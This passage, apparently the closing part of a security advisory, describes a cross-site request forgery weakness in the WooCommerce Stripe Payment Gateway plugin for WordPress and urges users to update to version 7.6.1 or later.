As a result, attackers can potentially create malicious forms or sites that trigger various unauthorized actions on behalf of the victim when executed.

To remediate this vulnerability, users must update their WooCommerce Stripe Payment Gateway plugin to version 7.6.1 or higher, which properly validates user inputs and generates nonce values.

We urge you to update your WooCommerce Stripe Payment Gateway plugin to the latest version as soon as possible to better secure your WordPress installation, protect user data, and reduce the risk of unauthorized purchases and account compromise.
